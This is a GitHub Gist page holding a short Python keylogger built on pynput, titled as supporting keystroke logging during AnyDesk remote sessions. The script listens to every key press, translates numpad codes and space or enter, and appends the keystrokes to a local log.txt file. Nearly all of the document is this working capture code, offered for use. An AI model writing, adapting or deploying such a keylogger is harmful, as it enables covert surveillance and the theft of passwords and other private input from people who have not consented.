Created
September 13, 2021 04:28
-
-
Save moinologics/8f47c229898cb2e3dc69a18208d84ba4 to your computer and use it in GitHub Desktop.
keyloggin with anydesk session keylogging support
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Listener # pip install pynput | |
def log_keystroke(key): | |
if hasattr(key, 'char') and key.char != None: | |
key = '{}'.format(key.char) | |
else: #special key | |
key = str(key).replace("'", "") | |
if key in keys: | |
key = keys[key] | |
with open("log.txt", 'a') as f: | |
f.write(key) | |
keys = { | |
'<96>': '0', #NUM_KEY | |
'<97>': '1', #NUM_KEY | |
'<98>': '2', #NUM_KEY | |
'<99>': '3', #NUM_KEY | |
'<100>': '4', #NUM_KEY | |
'<101>': '5', #NUM_KEY | |
'<102>': '6', #NUM_KEY | |
'<103>': '7', #NUM_KEY | |
'<104>': '8', #NUM_KEY | |
'<105>': '9', #NUM_KEY | |
'Key.space': ' ', | |
'Key.enter': '\n' | |
} | |
with Listener(on_press=log_keystroke) as l: | |
l.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment